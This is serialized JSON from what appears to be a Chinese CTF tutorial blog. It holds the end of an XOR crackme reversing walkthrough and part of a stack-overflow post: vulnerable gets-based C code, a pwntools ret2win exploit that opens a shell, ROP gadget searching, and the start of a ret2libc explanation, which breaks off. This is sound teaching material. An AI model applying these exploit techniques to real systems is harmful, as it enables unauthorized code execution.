",[19,8041,1410],{}," 只有 3 个字符，必须加 ",[19,8044,1414],{},[28,8046,8047],{"className":30,"code":2280,"language":32,"meta":33,"style":33},[19,8048,8049],{"__ignoreMap":33},[37,8050,8051,8053,8055,8057],{"class":39,"line":40},[37,8052,1066],{"class":43},[37,8054,1379],{"class":479},[37,8056,1382],{"class":479},[37,8058,2293],{"class":47},[15,8060,1310],{},[28,8062,8065],{"className":8063,"code":8064,"language":97,"meta":33},[95],"Usage: ./crackme \u003Cflag>\nCorrect!\nWrong!\nk3y\n",[19,8066,8064],{"__ignoreMap":33},[15,8068,8069,8071,8072,8075],{},[19,8070,1410],{}," 极可能是密钥。",[19,8073,8074],{},"enc"," 数组是二进制数据，strings 显示不出来。",[10,8077,8079],{"id":8078},"四核心步骤-2定位校验函数","四、核心步骤 2：定位校验函数",[15,8081,8082,8084],{},[107,8083,109],{},"：找到\"比较\"发生的代码，确认密钥如何参与运算。",[15,8086,8087,8089,8090,8092,8093,8096,8097,8099],{},[107,8088,336],{},"：main 里 ",[19,8091,1646],{}," 后紧跟 ",[19,8094,8095],{},"test eax, eax; je","，说明返回值决定对错。于是把目光集中到 check；Ghidra 伪代码把汇编还原成 ",[19,8098,2316],{},"，逆向思路立刻清晰。",[85,8101,1488],{"id":1487},[28,8103,8105],{"className":30,"code":8104,"language":32,"meta":33,"style":33},"objdump -d -M intel crackme | grep -A 40 '\u003Cmain>'\n",[19,8106,8107],{"__ignoreMap":33},[37,8108,8109,8111,8113,8115,8117,8119,8121,8123,8125,8127,8129,8131],{"class":39,"line":40},[37,8110,1500],{"class":43},[37,8112,1503],{"class":479},[37,8114,1506],{"class":479},[37,8116,1509],{"class":47},[37,8118,7944],{"class":47},[37,8120,1072],{"class":1071},[37,8122,1075],{"class":43},[37,8124,1539],{"class":479},[37,8126,1542],{"class":479},[37,8128,1546],{"class":1545},[37,8130,1549],{"class":47},[37,8132,1552],{"class":1545},[15,8134,1555],{},[28,8136,8138],{"className":1558,"code":8137,"language":1560,"meta":33,"style":33},"0000000000001189 \u003Cmain>:\n    1191:  cmp    edi, 0x2\n    1194:  jne    0x11a0\n    119e:  call   0x1149 \u003Ccheck>\n    11a3:  test   eax, eax\n    11a5:  je     0x11b5\n",[19,8139,8140,8144,8148,8152,8156,8160],{"__ignoreMap":33},[37,8141,8142],{"class":39,"line":40},[37,8143,1567],{},[37,8145,8146],{"class":39,"line":60},[37,8147,1582],{},[37,8149,8150],{"class":39,"line":71},[37,8151,1587],{},[37,8153,8154],{"class":39,"line":136},[37,8155,1592],{},[37,8157,8158],{"class":39,"line":142},[37,8159,1597],{},[37,8161,8162],{"class":39,"line":148},[37,8163,1602],{},[15,8165,8166,8168,8169,490],{},[19,8167,1646],{}," 说明判断逻辑在 ",[19,8170,1675],{},[85,8172,8174],{"id":8173},"_42-objdump-看-check","4.2 objdump 看 check",[28,8176,8178],{"className":30,"code":8177,"language":32,"meta":33,"style":33},"objdump -d -M intel crackme | grep -A 60 '\u003Ccheck>'\n",[19,8179,8180],{"__ignoreMap":33},[37,8181,8182,8184,8186,8188,8190,8192,8194,8196,8198,8201,8203,8205],{"class":39,"line":40},[37,8183,1500],{"class":43},[37,8185,1503],{"class":479},[37,8187,1506],{"class":479},[37,8189,1509],{"class":47},[37,8191,7944],{"class":47},[37,8193,1072],{"class":1071},[37,8195,1075],{"class":43},[37,8197,1539],{"class":479},[37,8199,8200],{"class":479}," 60",[37,8202,1546],{"class":1545},[37,8204,1732],{"class":47},[37,8206,1552],{"class":1545},[15,8208,8209],{},"预期会看到循环比较：",[28,8211,8213],{"className":1558,"code":8212,"language":1560,"meta":33,"style":33},"movzx  eax, BYTE PTR [rax]        ; input[i]\nxor    eax, 0x...                 ; 与 key 异或\ncmp    al, BYTE PTR [rbp-...]     ; 与 enc[i] 比较\nje     0x...\n",[19,8214,8215,8220,8225,8230],{"__ignoreMap":33},[37,8216,8217],{"class":39,"line":40},[37,8218,8219],{},"movzx  eax, BYTE PTR [rax]        ; input[i]\n",[37,8221,8222],{"class":39,"line":60},[37,8223,8224],{},"xor    eax, 0x...                 ; 与 key 异或\n",[37,8226,8227],{"class":39,"line":71},[37,8228,8229],{},"cmp    al, BYTE PTR [rbp-...]     ; 与 enc[i] 比较\n",[37,8231,8232],{"class":39,"line":136},[37,8233,8234],{},"je     0x...\n",[85,8236,8238],{"id":8237},"_43-ghidra-反编译","4.3 Ghidra 反编译",[15,8240,8241],{},"安装并打开：",[28,8243,8245],{"className":30,"code":8244,"language":32,"meta":33,"style":33},"apt install openjdk-21-jdk unzip\nwget https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_*.zip\nunzip ghidra_*.zip && cd ghidra_*_PUBLIC && ./ghidraRun\n",[19,8246,8247,8257,8267],{"__ignoreMap":33},[37,8248,8249,8251,8253,8255],{"class":39,"line":40},[37,8250,44],{"class":43},[37,8252,48],{"class":47},[37,8254,1856],{"class":47},[37,8256,1859],{"class":47},[37,8258,8259,8261,8263,8265],{"class":39,"line":60},[37,8260,1864],{"class":43},[37,8262,1867],{"class":47},[37,8264,1871],{"class":1870},[37,8266,1874],{"class":47},[37,8268,8269,8271,8273,8275,8278,8280,8282,8284,8286,8288,8290],{"class":39,"line":71},[37,8270,1879],{"class":43},[37,8272,1882],{"class":47},[37,8274,1871],{"class":1870},[37,8276,8277],{"class":47},".zip",[37,8279,1902],{"class":1217},[37,8281,1892],{"class":1891},[37,8283,1882],{"class":47},[37,8285,1871],{"class":1870},[37,8287,1899],{"class":47},[37,8289,1902],{"class":1217},[37,8291,1905],{"class":43},[15,8293,8294,8295,490],{},"操作：新建项目 → 导入 crackme → 自动分析 → 双击 ",[19,8296,1675],{},[15,8298,1934],{},[28,8300,8301],{"className":1937,"code":2326,"language":1939,"meta":33,"style":33},[19,8302,8303],{"__ignoreMap":33},[37,8304,8305],{"class":39,"line":40},[37,8306,2326],{},[15,8308,8309],{},"得到逆运算关系：",[28,8311,8314],{"className":8312,"code":8313,"language":97,"meta":33},[95],"enc[i] = input[i] ^ key[i % 3]\ninput[i] = enc[i] ^ key[i % 3]\n",[19,8315,8313],{"__ignoreMap":33},[10,8317,1968],{"id":1967},[28,8319,8321],{"className":30,"code":8320,"language":32,"meta":33,"style":33},"gdb ./crackme\n",[19,8322,8323],{"__ignoreMap":33},[37,8324,8325,8327],{"class":39,"line":40},[37,8326,1995],{"class":43},[37,8328,8329],{"class":47}," ./crackme\n",[28,8331,8333],{"className":2007,"code":8332,"language":1995,"meta":33,"style":33},"(gdb) break check\n# 目的：在 check 入口暂停，观察输入参数和密文数据。\n",[19,8334,8335,8339],{"__ignoreMap":33},[37,8336,8337],{"class":39,"line":40},[37,8338,2008],{},[37,8340,8341],{"class":39,"line":60},[37,8342,8343],{},"# 目的：在 check 入口暂停，观察输入参数和密文数据。\n",[15,8345,1310],{},[28,8347,8349],{"className":8348,"code":2020,"language":97,"meta":33},[95],[19,8350,2020],{"__ignoreMap":33},[28,8352,8354],{"className":2007,"code":8353,"language":1995,"meta":33,"style":33},"(gdb) run AAAAAAAAAAAAAAAAAAAAAAAA\n",[19,8355,8356],{"__ignoreMap":33},[37,8357,8358],{"class":39,"line":40},[37,8359,8353],{},[15,8361,1310],{},[28,8363,8365],{"className":8364,"code":2041,"language":97,"meta":33},[95],[19,8366,2041],{"__ignoreMap":33},[15,8368,8369],{},"查看 enc 数组（地址在反汇编中确定）：",[28,8371,8373],{"className":2007,"code":8372,"language":1995,"meta":33,"style":33},"(gdb) x/24bx 0x5555555551e0\n# x：查看内存；/24bx：24 个字节、b 按字节、x 十六进制显示。\n",[19,8374,8375,8380],{"__ignoreMap":33},[37,8376,8377],{"class":39,"line":40},[37,8378,8379],{},"(gdb) x/24bx 0x5555555551e0\n",[37,8381,8382],{"class":39,"line":60},[37,8383,8384],{},"# x：查看内存；/24bx：24 个字节、b 按字节、x 十六进制显示。\n",[15,8386,1310],{},[28,8388,8391],{"className":8389,"code":8390,"language":97,"meta":33},[95],"0x...: 0x08 0x47 0x1f 0x10 0x41 0x1c 0x1d 0x56 ...\n",[19,8392,8390],{"__ignoreMap":33},[15,8394,8395],{},"与源码中的 enc 数组一致，确认比较逻辑。",[10,8397,8399],{"id":8398},"六核心步骤-4写脚本还原","六、核心步骤 4：写脚本还原",[15,8401,8402,8404],{},[107,8403,109],{},"：把\"加密\"反过来算：密文与 key 再异或一次即明文。",[15,8406,8407,8409,8410,8413,8414,8417,8418,8421],{},[107,8408,336],{},"：因为 ",[19,8411,8412],{},"enc[i] = input[i] ^ key[i%3]","，两边同时异或 ",[19,8415,8416],{},"key[i%3]"," 得 ",[19,8419,8420],{},"input[i] = enc[i] ^ key[i%3]","。异或的自反性是本题全部关键。",[28,8423,8425],{"className":113,"code":8424,"language":115,"meta":33,"style":33},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\nkey = b\"k3y\"   # 从 strings -n 3 找到的密钥\n\nflag = bytes([c ^ key[i % len(key)] for i, c in enumerate(enc)])\n# enumerate(enc)：逐个取出 (下标 i, 密文字节 c)。\n# key[i % len(key)]：i 对 3 取余，让密钥循环（与 C 的 i%3 一致）。\n# c ^ key[...]：密文异或密钥 = 明文。\n# bytes([...])：把整数列表转成字节串。\nprint(flag.decode())\n# decode()：bytes 按 UTF-8 解码成字符串显示。\n",[19,8426,8427,8431,8435,8439,8444,8448,8453,8458,8463,8468,8473,8477],{"__ignoreMap":33},[37,8428,8429],{"class":39,"line":40},[37,8430,2360],{},[37,8432,8433],{"class":39,"line":60},[37,8434,2365],{},[37,8436,8437],{"class":39,"line":71},[37,8438,2370],{},[37,8440,8441],{"class":39,"line":136},[37,8442,8443],{},"key = b\"k3y\"   # 从 strings -n 3 找到的密钥\n",[37,8445,8446],{"class":39,"line":142},[37,8447,133],{"emptyLinePlaceholder":132},[37,8449,8450],{"class":39,"line":148},[37,8451,8452],{},"flag = bytes([c ^ key[i % len(key)] for i, c in enumerate(enc)])\n",[37,8454,8455],{"class":39,"line":154},[37,8456,8457],{},"# enumerate(enc)：逐个取出 (下标 i, 密文字节 c)。\n",[37,8459,8460],{"class":39,"line":159},[37,8461,8462],{},"# key[i % len(key)]：i 对 3 取余，让密钥循环（与 C 的 i%3 一致）。\n",[37,8464,8465],{"class":39,"line":165},[37,8466,8467],{},"# c ^ key[...]：密文异或密钥 = 明文。\n",[37,8469,8470],{"class":39,"line":171},[37,8471,8472],{},"# bytes([...])：把整数列表转成字节串。\n",[37,8474,8475],{"class":39,"line":177},[37,8476,2410],{},[37,8478,8479],{"class":39,"line":183},[37,8480,8481],{},"# decode()：bytes 按 UTF-8 解码成字符串显示。\n",[15,8483,6482],{},[28,8485,8487],{"className":30,"code":8486,"language":32,"meta":33,"style":33},"python3 solve.py\n",[19,8488,8489],{"__ignoreMap":33},[37,8490,8491,8493],{"class":39,"line":40},[37,8492,3224],{"class":43},[37,8494,8495],{"class":47}," solve.py\n",[15,8497,456],{},[28,8499,8501],{"className":8500,"code":2421,"language":97,"meta":33},[95],[19,8502,2421],{"__ignoreMap":33},[15,8504,8505],{},"验证：",[28,8507,8508],{"className":30,"code":2430,"language":32,"meta":33,"style":33},[19,8509,8510],{"__ignoreMap":33},[37,8511,8512,8514],{"class":39,"line":40},[37,8513,2437],{"class":43},[37,8515,2440],{"class":47},[15,8517,456,8518,490],{},[19,8519,1403],{},[10,8521,8523],{"id":8522},"七必学工具","七、必学工具",[943,8525,8526,8536],{},[946,8527,8528],{},[949,8529,8530,8532,8534],{},[952,8531,954],{},[952,8533,957],{},[952,8535,960],{},[962,8537,8538,8550,8562,8577,8594],{},[949,8539,8540,8542,8545],{},[967,8541,969],{},[967,8543,8544],{},"看类型/是否 stripped",[967,8546,8547],{},[19,8548,8549],{},"file crackme",[949,8551,8552,8554,8557],{},[967,8553,1066],{},[967,8555,8556],{},"提取字符串、指定最小长度",[967,8558,8559],{},[19,8560,8561],{},"strings -n 3 crackme",[949,8563,8564,8566,8569],{},[967,8565,1500],{},[967,8567,8568],{},"反汇编、看数据段",[967,8570,8571,991,8574],{},[19,8572,8573],{},"objdump -d -M intel crackme",[19,8575,8576],{},"objdump -s -j .rodata crackme",[949,8578,8579,8581,8584],{},[967,8580,2222],{},[967,8582,8583],{},"断点、运行、查看内存",[967,8585,8586,991,8588,991,8591],{},[19,8587,2230],{},[19,8589,8590],{},"run xxx",[19,8592,8593],{},"x/24bx addr",[949,8595,8596,8599,8602],{},[967,8597,8598],{},"Ghidra",[967,8600,8601],{},"反编译伪代码",[967,8603,8604],{},[19,8605,8606],{},"ghidraRun",[10,8608,8610],{"id":8609},"八小-ctf-实战流程复述","八、小 CTF 实战：流程复述",[1910,8612,8613,8620,8631,8637],{},[1913,8614,8615,8617,8618,490],{},[19,8616,8561],{}," → 找到密钥 ",[19,8619,1410],{},[1913,8621,8622,8624,8625,8627,8628,490],{},[19,8623,1500],{},"/Ghidra → 确认 ",[19,8626,1675],{}," 里是 ",[19,8629,8630],{},"input[i] ^ key[i%3] == enc[i]",[1913,8632,8633,8634,490],{},"Python 一行异或还原 → ",[19,8635,8636],{},"ctf{reverse_engineering}",[1913,8638,8639,8640,490],{},"运行验证 → ",[19,8641,1403],{},[10,8643,6630],{"id":6629},[15,8645,8646,8647,8650],{},"XOR CrackMe 的通用解法：",[107,8648,8649],{},"找密钥、找密文、再异或一次","。逆向题的套路基本都是\"侦查 → 定位校验 → 逆运算\"三步；后续遇到的壳、混淆只是在中间增加干扰。",[1144,8652,8653],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .sqerP, html code.shiki .sqerP{--shiki-default:#BD93F9;--shiki-default-font-style:italic}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}",{"title":33,"searchDepth":60,"depth":60,"links":8655},[8656,8657,8658,8659,8660,8661,8662,8663,8664],{"id":7729,"depth":71,"text":7730},{"id":7736,"depth":71,"text":7737},{"id":1277,"depth":71,"text":1278},{"id":8078,"depth":71,"text":8079},{"id":1967,"depth":71,"text":1968},{"id":8398,"depth":71,"text":8399},{"id":8522,"depth":71,"text":8523},{"id":8609,"depth":71,"text":8610},{"id":6629,"depth":71,"text":6630},"完整的 CrackMe 逆向：编译源码、file/strings 侦查、objdump/Ghidra 定位校验、GDB 动态调试、Python 逆运算还原 flag。",{"date":1160,"image":8667,"alt":8668,"tags":8669,"published":132},"/blogs-img/blog7.png","XOR CrackMe 完整实操",[1164,2476,2254,1167],"/blogs/ctf-reverse-crackme-deep-dive",{"title":7724,"description":8665},"blogs/16. ctf-reverse-crackme-deep-dive","xZZ1X760wPJNGRPAuGfcnpCTK_DSMHcI_gsMU8yxErg",{"id":8675,"title":8676,"body":8677,"description":9762,"extension":1158,"meta":9763,"navigation":132,"ogImage":9764,"path":9768,"seo":9769,"stem":9770,"__hash__":9771},"content/blogs/17. ctf-pwn-stack-overflow-rop-deep-dive.md","栈溢出与 ROP 深入实战：偏移、ret2win 与 ret2libc",{"type":7,"value":8678,"toc":9749},[8679,8683,8698,8701,8703,8751,8753,8757,8837,8840,8859,8863,8868,8873,8885,8887,8892,8895,8950,8952,8957,8963,8966,8969,8979,9033,9035,9041,9055,9059,9064,9125,9127,9137,9139,9145,9163,9167,9173,9176,9203,9205,9211,9224,9230,9234,9241,9246,9255,9259,9265,9269,9545,9548,9554,9558,9605,9609,9670,9674,9685,9726,9728,9733,9737,9746],[10,8680,8682],{"id":8681},"一现实背景缓冲区溢出","一、现实背景：缓冲区溢出",[15,8684,8685,991,8687,991,8690,8693,8694,8697],{},[19,8686,2495],{},[19,8688,8689],{},"strcpy",[19,8691,8692],{},"sprintf"," 不校验写入长度。输入超过缓冲区容量时，数据覆盖相邻内存，包括函数的返回地址。程序 ",[19,8695,8696],{},"ret"," 时跳到被覆盖的地址执行——这就是栈溢出的核心。",[15,8699,8700],{},"本文环境：Linux（Kali/Ubuntu），x86-64 架构，这是 CTF Pwn 的标准环境。",[10,8702,26],{"id":25},[28,8704,8706],{"className":30,"code":8705,"language":32,"meta":33,"style":33},"apt install gcc gdb\npip3 install pwntools ROPgadget\ngit clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh\n",[19,8707,8708,8718,8730],{"__ignoreMap":33},[37,8709,8710,8712,8714,8716],{"class":39,"line":40},[37,8711,44],{"class":43},[37,8713,48],{"class":47},[37,8715,2520],{"class":47},[37,8717,2523],{"class":47},[37,8719,8720,8722,8724,8727],{"class":39,"line":60},[37,8721,63],{"class":43},[37,8723,48],{"class":47},[37,8725,8726],{"class":47}," pwntools",[37,8728,8729],{"class":47}," ROPgadget\n",[37,8731,8732,8734,8736,8739,8741,8743,8746,8748],{"class":39,"line":71},[37,8733,5332],{"class":43},[37,8735,5335],{"class":47},[37,8737,8738],{"class":47}," https://github.com/pwndbg/pwndbg",[37,8740,1902],{"class":1217},[37,8742,1892],{"class":1891},[37,8744,8745],{"class":47}," pwndbg",[37,8747,1902],{"class":1217},[37,8749,8750],{"class":43},"./setup.sh\n",[10,8752,2536],{"id":2535},[15,8754,8755,1682],{},[19,8756,2542],{},[28,8758,8759],{"className":1937,"code":2545,"language":1939,"meta":33,"style":33},[19,8760,8761,8765,8769,8773,8777,8781,8785,8789,8793,8797,8801,8805,8809,8813,8817,8821,8825,8829,8833],{"__ignoreMap":33},[37,8762,8763],{"class":39,"line":40},[37,8764,2552],{},[37,8766,8767],{"class":39,"line":60},[37,8768,2557],{},[37,8770,8771],{"class":39,"line":71},[37,8772,133],{"emptyLinePlaceholder":132},[37,8774,8775],{"class":39,"line":136},[37,8776,2566],{},[37,8778,8779],{"class":39,"line":142},[37,8780,2571],{},[37,8782,8783],{"class":39,"line":148},[37,8784,2576],{},[37,8786,8787],{"class":39,"line":154},[37,8788,133],{"emptyLinePlaceholder":132},[37,8790,8791],{"class":39,"line":159},[37,8792,2585],{},[37,8794,8795],{"class":39,"line":165},[37,8796,2590],{},[37,8798,8799],{"class":39,"line":171},[37,8800,2595],{},[37,8802,8803],{"class":39,"line":177},[37,8804,2576],{},[37,8806,8807],{"class":39,"line":183},[37,8808,133],{"emptyLinePlaceholder":132},[37,8810,8811],{"class":39,"line":189},[37,8812,2608],{},[37,8814,8815],{"class":39,"line":195},[37,8816,2613],{},[37,8818,8819],{"class":39,"line":200},[37,8820,2618],{},[37,8822,8823],{"class":39,"line":206},[37,8824,2623],{},[37,8826,8827],{"class":39,"line":212},[37,8828,2628],{},[37,8830,8831],{"class":39,"line":218},[37,8832,2633],{},[37,8834,8835],{"class":39,"line":224},[37,8836,2576],{},[15,8838,8839],{},"编译：",[28,8841,8843],{"className":30,"code":8842,"language":32,"meta":33,"style":33},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n",[19,8844,8845],{"__ignoreMap":33},[37,8846,8847,8849,8851,8853,8855,8857],{"class":39,"line":40},[37,8848,2650],{"class":43},[37,8850,2653],{"class":479},[37,8852,2656],{"class":47},[37,8854,2659],{"class":47},[37,8856,2662],{"class":479},[37,8858,2665],{"class":479},[10,8860,8862],{"id":8861},"四核心步骤-1checksec","四、核心步骤 1：checksec",[15,8864,8865,8867],{},[107,8866,109],{},"：开打前判断这条路能否走通，避免构造无效 payload。",[15,8869,8870,8872],{},[107,8871,336],{},"：No canary → 可以直接覆盖返回地址；No PIE → win 地址写死可用；NX 开启 → 本阶段不打 shellcode，后面用 ROP。",[28,8874,8875],{"className":30,"code":2694,"language":32,"meta":33,"style":33},[19,8876,8877],{"__ignoreMap":33},[37,8878,8879,8881,8883],{"class":39,"line":40},[37,8880,2701],{"class":43},[37,8882,2704],{"class":47},[37,8884,2707],{"class":47},[15,8886,1310],{},[28,8888,8890],{"className":8889,"code":2713,"language":97,"meta":33},[95],[19,8891,2713],{"__ignoreMap":33},[15,8893,8894],{},"逐行含义：",[943,8896,8897,8905],{},[946,8898,8899],{},[949,8900,8901,8903],{},[952,8902,6517],{},[952,8904,1627],{},[962,8906,8907,8917,8927,8940],{},[949,8908,8909,8914],{},[967,8910,8911],{},[19,8912,8913],{},"No canary found",[967,8915,8916],{},"无栈金丝雀，可覆盖返回地址",[949,8918,8919,8924],{},[967,8920,8921],{},[19,8922,8923],{},"NX enabled",[967,8925,8926],{},"栈不可执行，不能直接放 shellcode",[949,8928,8929,8934],{},[967,8930,8931],{},[19,8932,8933],{},"No PIE",[967,8935,8936,8937,8939],{},"程序地址固定，",[19,8938,2775],{}," 地址可直接写死",[949,8941,8942,8947],{},[967,8943,8944],{},[19,8945,8946],{},"Partial RELRO",[967,8948,8949],{},"GOT 可写（本阶段用不到）",[10,8951,2780],{"id":2779},[15,8953,8954,8956],{},[19,8955,2785],{}," 栈帧自低到高：",[28,8958,8961],{"className":8959,"code":8960,"language":97,"meta":33},[95],"┌──────────────────────┐\n│  buf[32]             │  ← gets 写入起点\n├──────────────────────┤\n│  对齐填充             │\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │  ← 目标\n└──────────────────────┘\n",[19,8962,8960],{"__ignoreMap":33},[15,8964,8965],{},"偏移 = 32 + 8 = 40。",[15,8967,8968],{},"用 pwntools 验证：",[15,8970,8971,1682,8973,8975,8976,8978],{},[107,8972,336],{},[19,8974,2798],{}," 生成无重复模式串，程序崩溃时 rip 的值取自模式串；",[19,8977,3156],{}," 反查位置，即\"从输入开头到返回地址的距离\"。",[28,8980,8982],{"className":113,"code":8981,"language":115,"meta":33,"style":33},"from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\np.wait()\n# 等进程崩溃退出，生成 core 文件供读取。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：崩溃时 rip 的值。\n# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\nprint(\"offset =\", offset)\n",[19,8983,8984,8988,8992,8996,9000,9005,9009,9014,9018,9023,9028],{"__ignoreMap":33},[37,8985,8986],{"class":39,"line":40},[37,8987,2809],{},[37,8989,8990],{"class":39,"line":60},[37,8991,133],{"emptyLinePlaceholder":132},[37,8993,8994],{"class":39,"line":71},[37,8995,2818],{},[37,8997,8998],{"class":39,"line":136},[37,8999,2823],{},[37,9001,9002],{"class":39,"line":142},[37,9003,9004],{},"# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\n",[37,9006,9007],{"class":39,"line":148},[37,9008,2838],{},[37,9010,9011],{"class":39,"line":154},[37,9012,9013],{},"# 等进程崩溃退出，生成 core 文件供读取。\n",[37,9015,9016],{"class":39,"line":159},[37,9017,2848],{},[37,9019,9020],{"class":39,"line":165},[37,9021,9022],{},"# p.corefile.fault_addr：崩溃时 rip 的值。\n",[37,9024,9025],{"class":39,"line":171},[37,9026,9027],{},"# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\n",[37,9029,9030],{"class":39,"line":177},[37,9031,9032],{},"print(\"offset =\", offset)\n",[15,9034,1310],{},[28,9036,9039],{"className":9037,"code":9038,"language":97,"meta":33},[95],"offset = 40\n",[19,9040,9038],{"__ignoreMap":33},[15,9042,9043,9044,9047,9048,9051,9052,9054],{},"原理：",[19,9045,9046],{},"cyclic(200)"," 生成无重复的模式串；程序崩溃时 ",[19,9049,9050],{},"rip"," 的值必然是模式串中的 4/8 字节，",[19,9053,3156],{}," 返回它在模式串中的位置，即到返回地址的距离。",[10,9056,9058],{"id":9057},"六核心步骤-3ret2win","六、核心步骤 3：ret2win",[15,9060,9061,9063],{},[107,9062,109],{},"：把返回地址改成 win，验证控制流劫持成功。",[28,9065,9067],{"className":113,"code":9066,"language":115,"meta":33,"style":33},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\npayload = b'A' * 40 + p64(elf.symbols['win'])\n# b'A'*40：填充缓冲区与 saved rbp。\n# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\np.sendline(payload)\np.interactive()\n# interactive()：把终端接到进程，shell 可交互。\n",[19,9068,9069,9073,9077,9081,9085,9089,9093,9098,9102,9107,9112,9116,9120],{"__ignoreMap":33},[37,9070,9071],{"class":39,"line":40},[37,9072,2809],{},[37,9074,9075],{"class":39,"line":60},[37,9076,133],{"emptyLinePlaceholder":132},[37,9078,9079],{"class":39,"line":71},[37,9080,2899],{},[37,9082,9083],{"class":39,"line":136},[37,9084,2818],{},[37,9086,9087],{"class":39,"line":142},[37,9088,133],{"emptyLinePlaceholder":132},[37,9090,9091],{"class":39,"line":148},[37,9092,3061],{},[37,9094,9095],{"class":39,"line":154},[37,9096,9097],{},"# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\n",[37,9099,9100],{"class":39,"line":159},[37,9101,3076],{},[37,9103,9104],{"class":39,"line":165},[37,9105,9106],{},"# b'A'*40：填充缓冲区与 saved rbp。\n",[37,9108,9109],{"class":39,"line":171},[37,9110,9111],{},"# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\n",[37,9113,9114],{"class":39,"line":177},[37,9115,3002],{},[37,9117,9118],{"class":39,"line":183},[37,9119,3090],{},[37,9121,9122],{"class":39,"line":189},[37,9123,9124],{},"# interactive()：把终端接到进程，shell 可交互。\n",[15,9126,6482],{},[28,9128,9129],{"className":30,"code":3217,"language":32,"meta":33,"style":33},[19,9130,9131],{"__ignoreMap":33},[37,9132,9133,9135],{"class":39,"line":40},[37,9134,3224],{"class":43},[37,9136,3227],{"class":47},[15,9138,3103],{},[28,9140,9143],{"className":9141,"code":9142,"language":97,"meta":33},[95],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf) groups=1000(ctf)\n",[19,9144,9142],{"__ignoreMap":33},[15,9146,9147,9148,9150,9151,3395,9153,2102,9155,9157,9158,3395,9160,9162],{},"执行过程：",[19,9149,2495],{}," 把 48 字节写入 buf → 前 40 字节填满 buf+saved rbp → 后 8 字节覆盖返回地址为 ",[19,9152,2775],{},[19,9154,2785],{},[19,9156,8696],{}," 跳到 ",[19,9159,2775],{},[19,9161,3119],{}," 弹 shell。",[10,9164,9166],{"id":9165},"七进阶nx-与-rop","七、进阶：NX 与 ROP",[15,9168,9169,9170,9172],{},"NX 开启后栈不可执行，但代码段可执行。ROP（Return-Oriented Programming）把程序里已有的、以 ",[19,9171,8696],{}," 结尾的指令片段（gadget）串起来执行。",[15,9174,9175],{},"找 gadget：",[28,9177,9179],{"className":30,"code":9178,"language":32,"meta":33,"style":33},"ROPgadget --binary ./vuln | grep \"pop rdi\"\n",[19,9180,9181],{"__ignoreMap":33},[37,9182,9183,9186,9189,9192,9194,9196,9198,9201],{"class":39,"line":40},[37,9184,9185],{"class":43},"ROPgadget",[37,9187,9188],{"class":479}," --binary",[37,9190,9191],{"class":47}," ./vuln",[37,9193,1072],{"class":1071},[37,9195,1075],{"class":43},[37,9197,5508],{"class":1545},[37,9199,9200],{"class":47},"pop rdi",[37,9202,5514],{"class":1545},[15,9204,1310],{},[28,9206,9209],{"className":9207,"code":9208,"language":97,"meta":33},[95],"0x0000000000401233 : pop rdi ; ret\n",[19,9210,9208],{"__ignoreMap":33},[15,9212,9213,9216,9217,9220,9221,9223],{},[19,9214,9215],{},"pop rdi; ret"," 的作用：把栈上的下一个 8 字节弹进 ",[19,9218,9219],{},"rdi","（x86-64 的第一个参数寄存器），然后 ",[19,9222,8696],{}," 跳到下个地址。栈上布局：",[28,9225,9228],{"className":9226,"code":9227,"language":97,"meta":33},[95],"[pop rdi; ret] [参数] [要调用的函数] [下一 gadget] ...\n",[19,9229,9227],{"__ignoreMap":33},[10,9231,9233],{"id":9232},"八进阶ret2libc","八、进阶：ret2libc",[15,9235,9236,9238,9239,490],{},[107,9237,109],{},"：程序内没有目标函数时，改调 libc 的 ",[19,9240,3119],{},[15,9242,9243,9245],{},[107,9244,336],{},"：ASLR 让 libc 基址随机，但\"符号在 libc 内的偏移\"固定。先泄露一个已知符号（puts）的真实地址，反推基址，再计算 system 与 \"/bin/sh\" 的地址。验证方式：第一段打印出的 puts 地址与 libc 文件里查到的偏移做差，得到的基址应当是 0x...000 结尾。",[15,9247,9248,9249,9251,9252,9254],{},"程序里没有 ",[19,9250,2775],{}," 时，改调 libc 里的 ",[19,9253,3119],{},"。libc 基址被 ASLR 随机化，解决方法是\"先泄露，再计算\"。",[85,9256,9258],{"id":9257},"_81-原理","8.1 原理",[28,9260,9263],{"className":9261,"code":9262,"language":97,"meta":33},[95],"泄露 puts 的真实地址（调用 puts(puts@got)）\nlibc 基址 = puts 真实地址 - puts 在 libc 中的偏移\nsystem 地址 = libc 基址 + system 偏移\n\"/bin/sh\" 地址 